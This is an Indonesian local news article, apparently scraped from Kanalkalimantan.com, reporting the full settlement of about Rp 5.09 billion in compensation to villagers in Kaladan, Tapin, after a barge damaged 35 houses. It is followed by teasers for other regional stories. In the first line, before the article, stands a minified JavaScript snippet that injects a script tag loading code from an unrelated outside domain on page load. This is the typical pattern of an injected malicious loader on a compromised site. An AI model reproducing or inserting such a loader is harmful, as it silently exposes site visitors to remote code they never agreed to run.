(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, RANTAU – Setelah dinegosiasi, proses penyelesaian penggantian dan pembayaran kerugian warga terdampak musibah tongkang serempet 35 rumah warga di Desa Kaladan, Kecamatan Candi Laras Utara, Kabupaten Tapin pada 22 April 2023 lalu, selesai 100 persen.
Proses negosiasi dan penyelesaian pembayaran ini sebelumnya dibagi menjadi dua sesi yaitu pada pagi dan siang hari. Sementara itu, lantaran masih ada 9 orang warga belum menemui titik temu kesepakatan, maka dibuka kembali sesi tiga yang digelar hingga malam hari.
“Syukur Alhamdulillah, agenda acara tanggal 13 Mei 2023 kemarin dapat selesai dengan tuntas, yaitu penyelesaian penggantian pembayaran kerugian warga terdampak sudah 100 persen dilakukan, kesepakatan antara pihak perusahaan dan warga,” ujar Sultoni, dalam rilis yang diterima Kanalkalimantan.com, Minggu (14/5/2023) siang.
Sebagai moderator atas nama pribadi, ia mengucapkan terima kasih atas kerjasama antara para pihak terkait baik itu dari aparat desa, keamanan dan instansi terkait dalam menyelesaikan rangkaian agenda Sabtu (13/5/2023) kemarin.
Baca juga: Tak Bernyawa Dililit Piton 3,5 Meter, Disebut Warga Sering Berburu Ular
“Atas nama pribadi dan mewakili perusahaan mohon maaf, apabila ada kekurangan dalam seluruh rangkaian kegiatan sejak awal terjadinya musibah, sampai dengan agenda kemarin,” katanya.
Diketahui total kerugian yang diganti rugikan kepada masyarakat terdampak kena serempet tongkang mencapai Rp 5.089.900.000.
“Dari masyarakat kelihatanya mereka sangat gembira pak,” singkat Kepala Kaladan Muhammad Faleh.
Sebelumnya pihak Polsek Candi Laras Utara mengantongi data terdampak tabrak tongkang yakni ada rumah sebanyak 33 buah dengan kategori rata-rata rusak berat, 2 tempat ibadah, 11 pelabuhan, 1 dermaga, 14 batang warga, perahu ces dan sejenisnya 29 buah, 2 mesin motor, galangan 1 dan jamban 1.
“Jamban juga ikut dihitung. Masing-masing kemarin bersama pihak perusahaan sudah melihat semua ke lapangan,” kata Kapolres Candi Laras Utara Ipda Ketut Sedemen. (Kanalkalimantan.com/rendy_tisna)
Reporter : rdy
Editor : KK
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
This website uses cookies.